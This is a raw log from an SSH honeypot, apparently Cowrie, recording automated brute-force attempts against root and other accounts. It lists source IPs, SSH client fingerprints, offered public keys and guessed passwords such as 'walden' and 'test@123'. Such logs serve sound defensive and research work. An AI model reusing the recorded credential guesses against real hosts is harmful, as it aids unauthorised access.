{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:31.436506Z","src_ip":"190.167.237.191","session":"09a35e19979d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walden","message":"login attempt [root/walden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:31.727284Z","src_ip":"190.167.237.191","session":"09a35e19979d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:32.796911Z","src_ip":"190.167.237.191","session":"09a35e19979d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"826a4aeec56d","protocol":"ssh","message":"New connection: 189.113.47.155:49196 (159.203.135.109:22) [session: 826a4aeec56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:34.330908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:34.335371Z","src_ip":"189.113.47.155","session":"826a4aeec56d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:34.451589Z","src_ip":"189.113.47.155","session":"826a4aeec56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:34.881523Z","src_ip":"8.218.166.49","session":"38780aaa533e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkkk","message":"login attempt [root/kkkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:34.945952Z","src_ip":"189.113.47.155","session":"826a4aeec56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:36.070344Z","src_ip":"189.113.47.155","session":"826a4aeec56d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":14940,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25ed3b90643","protocol":"ssh","message":"New connection: 176.65.132.190:14940 (10.17.0.5:22) [session: f25ed3b90643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:38.582689Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:38.588567Z","src_ip":"176.65.132.190","session":"f25ed3b90643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:43.912853Z","src_ip":"8.218.166.49","session":"29db1acbaea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.123","src_port":47716,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d66606c5924","protocol":"ssh","message":"New connection: 102.129.186.123:47716 (10.17.0.5:22) [session: 5d66606c5924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:50.679909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:50.684299Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:50.817895Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:dd:cb:d3:40:e6:c9:f5:18:64:3d:f9:82:b6:24:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtNWkgUr4mpfklvYnBkvGnUtndIwKcM1ndag03m4bUa+INiNnBw95m2HdBZgJxmQJcaGopk1HbEJFVPAMKyPtuL2dqS1XKhNKFUBqoFdUPz0EQAAr1wEt+QJM2YR9a9Ksuk9HppZnuyrIjLF7jiVwYHEagNPP9bssRg1FxpwRcC4lYTu1gC+SbAMcScCkwwHRtE9mFfzxUIjP+gROnhP9/YIwssNC1Br6XzhNIx/PozRCUHmeu5dMTNRXY+QMvQ+yKYjWUYJkY74q9pouA6kG7szNgypTipcEh7bjZo5knBdpo8lzJ+Pn1gGwOV8F5XQxL8Tec0M5LzF8Gc8GvtsHUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:dd:cb:d3:40:e6:c9:f5:18:64:3d:f9:82:b6:24:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.467223Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:dd:cb:d3:40:e6:c9:f5:18:64:3d:f9:82:b6:24:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtNWkgUr4mpfklvYnBkvGnUtndIwKcM1ndag03m4bUa+INiNnBw95m2HdBZgJxmQJcaGopk1HbEJFVPAMKyPtuL2dqS1XKhNKFUBqoFdUPz0EQAAr1wEt+QJM2YR9a9Ksuk9HppZnuyrIjLF7jiVwYHEagNPP9bssRg1FxpwRcC4lYTu1gC+SbAMcScCkwwHRtE9mFfzxUIjP+gROnhP9/YIwssNC1Br6XzhNIx/PozRCUHmeu5dMTNRXY+QMvQ+yKYjWUYJkY74q9pouA6kG7szNgypTipcEh7bjZo5knBdpo8lzJ+Pn1gGwOV8F5XQxL8Tec0M5LzF8Gc8GvtsHUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.470711Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":48806,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba8311551c63","protocol":"ssh","message":"New connection: 165.154.6.49:48806 (159.203.135.109:22) [session: ba8311551c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.552918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.557737Z","src_ip":"165.154.6.49","session":"ba8311551c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:4a:90:c1:ad:6c:f2:69:75:4d:3f:11:7b:80:74:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHKucG4zORRXMexWjB2hAxGKSNJl0N4SPTN8aaGhVx7xfnpEO8OyHezMUDhYsutCppsoryyjgqaU0hJdcjGv8E67wE60YhNJ1InKLl8TGmOwqHOyYtFykCzNThDt8We4mkkQ2Jx1X5WrNknPQ2TDWIKUcJG/h5m4sakQzkD6SG0jJrwMk1iDS2MDB1zHViy/L3MpCFgC5pkUW4FrYTTmaGNgeThJ/TX/cGlxDRWUTZfZlSndMrDhxZ5SBKHady1kQgyqYdmZtNgzgKXdoFnYIErMDXRjo96NnV+91InUBGFkq/s+ACIe7qgpmAc5/cAj0AAUpDtFfhm2Qhvp+Cf037","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:4a:90:c1:ad:6c:f2:69:75:4d:3f:11:7b:80:74:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.606059Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:4a:90:c1:ad:6c:f2:69:75:4d:3f:11:7b:80:74:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHKucG4zORRXMexWjB2hAxGKSNJl0N4SPTN8aaGhVx7xfnpEO8OyHezMUDhYsutCppsoryyjgqaU0hJdcjGv8E67wE60YhNJ1InKLl8TGmOwqHOyYtFykCzNThDt8We4mkkQ2Jx1X5WrNknPQ2TDWIKUcJG/h5m4sakQzkD6SG0jJrwMk1iDS2MDB1zHViy/L3MpCFgC5pkUW4FrYTTmaGNgeThJ/TX/cGlxDRWUTZfZlSndMrDhxZ5SBKHady1kQgyqYdmZtNgzgKXdoFnYIErMDXRjo96NnV+91InUBGFkq/s+ACIe7qgpmAc5/cAj0AAUpDtFfhm2Qhvp+Cf037","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.609452Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:c6:2e:79:51:f9:e8:42:c4:f5:8a:0e:1a:99:ee:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvTxALlKQ53clvTm33Q4zH7Sz2brtMfz1tsoB2zNmDZGDDq4pN95/bP8EbtRCiRUXwC2DFgFSqUmnM7g4oHQ9UstQTYFXfu7WX5ZI6DNct8/ZwbdB+LcUjFkpz8f1gW+QnWDYps9OZqY+EvGn2YBouRXtzAq0Ru55u7XfLFDQNP9vmyC0AqCYHtMQWxPDxISJteuF0FgWWDiHu9BLAEOW+b4EKfeOkoph5vtOJqW4HjeowtCViDqMcH1/g3U4eR+1KsdfwD9MzzMhsxnkSnBPqo0jDGi5gaYxLJcoxq3/eEu7gxG6RBlFsEVppOEfgtvhtiekkfnkhf2cXd06HKCpF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:c6:2e:79:51:f9:e8:42:c4:f5:8a:0e:1a:99:ee:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.741938Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:c6:2e:79:51:f9:e8:42:c4:f5:8a:0e:1a:99:ee:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvTxALlKQ53clvTm33Q4zH7Sz2brtMfz1tsoB2zNmDZGDDq4pN95/bP8EbtRCiRUXwC2DFgFSqUmnM7g4oHQ9UstQTYFXfu7WX5ZI6DNct8/ZwbdB+LcUjFkpz8f1gW+QnWDYps9OZqY+EvGn2YBouRXtzAq0Ru55u7XfLFDQNP9vmyC0AqCYHtMQWxPDxISJteuF0FgWWDiHu9BLAEOW+b4EKfeOkoph5vtOJqW4HjeowtCViDqMcH1/g3U4eR+1KsdfwD9MzzMhsxnkSnBPqo0jDGi5gaYxLJcoxq3/eEu7gxG6RBlFsEVppOEfgtvhtiekkfnkhf2cXd06HKCpF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.746258Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.774333Z","src_ip":"165.154.6.49","session":"ba8311551c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:0e:8b:6d:7d:16:45:59:10:d5:14:87:eb:81:06:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Zfaf4BpcsylaP9Kn8lIuS7OAOVRrx2Je6tqtXjJSo1lDltu4oqU2TiW0hQJduyHXZjj4dgfGtRyVW10z4JOiFT9OUU5PXIyEHcr5Eut9Fi/xkamcHIY7Fw+kgNkp/aEz10TPVQkCYXWRhxpgG3B2gcgQkbMvxgVQ4Rtl3BJQxEgbTS/ZfQeXaYYxOrarUy27dfCAPXvt3tJ/l7kOx7vvYsOPCuZuEIvKZIbwOnQTJBzuO6AICWaly10Wj8ntF+KOVDhak67hUVM0Rz8AOn564iIGV0lRy8x/08HTJfjlluT+rA3zu5jPuue/WcS/yaCzVA4ljxyULnSIEBeY4XxD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:0e:8b:6d:7d:16:45:59:10:d5:14:87:eb:81:06:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.878536Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:0e:8b:6d:7d:16:45:59:10:d5:14:87:eb:81:06:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Zfaf4BpcsylaP9Kn8lIuS7OAOVRrx2Je6tqtXjJSo1lDltu4oqU2TiW0hQJduyHXZjj4dgfGtRyVW10z4JOiFT9OUU5PXIyEHcr5Eut9Fi/xkamcHIY7Fw+kgNkp/aEz10TPVQkCYXWRhxpgG3B2gcgQkbMvxgVQ4Rtl3BJQxEgbTS/ZfQeXaYYxOrarUy27dfCAPXvt3tJ/l7kOx7vvYsOPCuZuEIvKZIbwOnQTJBzuO6AICWaly10Wj8ntF+KOVDhak67hUVM0Rz8AOn564iIGV0lRy8x/08HTJfjlluT+rA3zu5jPuue/WcS/yaCzVA4ljxyULnSIEBeY4XxD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:51.883086Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:34:95:f6:26:a0:69:49:92:80:79:9f:85:0d:c3:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiUAarMHH42Sp4NBgdIWpl3zThwT9x62p9pJzaX8cKzf5pNLcXbGfr8rz00lgIUa/gji0uZF9SOaGRgr1Z2N0kFG7WnjCq0NkcKJskqOVtvLhzxhqlNlcd8AfVMLH8l37TVFbCrCowD3chrxKIRGSh/SaKoa/p7vKa7CnOmbfTp+g2iDULNU7MZKsO3tVa1OAwrdU1rxxiJmYSdbZmSSFp74NXq7qyT4GRw8EbmkCr3ytWz/aDeSMzTrp31ZErqCw9F4x3DdYQXVAF9g1r83GMSgaqvUjAatb9E2Uf7x9oXB3yk06qpMZsByA1AJfUWKuuJd+UjoUN3IOSSfndz/Ez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:34:95:f6:26:a0:69:49:92:80:79:9f:85:0d:c3:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:52.016888Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:34:95:f6:26:a0:69:49:92:80:79:9f:85:0d:c3:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiUAarMHH42Sp4NBgdIWpl3zThwT9x62p9pJzaX8cKzf5pNLcXbGfr8rz00lgIUa/gji0uZF9SOaGRgr1Z2N0kFG7WnjCq0NkcKJskqOVtvLhzxhqlNlcd8AfVMLH8l37TVFbCrCowD3chrxKIRGSh/SaKoa/p7vKa7CnOmbfTp+g2iDULNU7MZKsO3tVa1OAwrdU1rxxiJmYSdbZmSSFp74NXq7qyT4GRw8EbmkCr3ytWz/aDeSMzTrp31ZErqCw9F4x3DdYQXVAF9g1r83GMSgaqvUjAatb9E2Uf7x9oXB3yk06qpMZsByA1AJfUWKuuJd+UjoUN3IOSSfndz/Ez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:52.020913Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:52.160053Z","src_ip":"102.129.186.123","session":"5d66606c5924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:52.675486Z","src_ip":"165.154.6.49","session":"ba8311551c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:53.404585Z","src_ip":"8.218.166.49","session":"2d57921e04fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:53.894658Z","src_ip":"165.154.6.49","session":"ba8311551c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e52894e6656","protocol":"ssh","message":"New connection: 221.161.235.168:55928 (159.203.135.109:22) [session: 4e52894e6656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:58.841857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:58.845818Z","src_ip":"221.161.235.168","session":"4e52894e6656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:59.038188Z","src_ip":"221.161.235.168","session":"4e52894e6656","protocol":"ssh"}
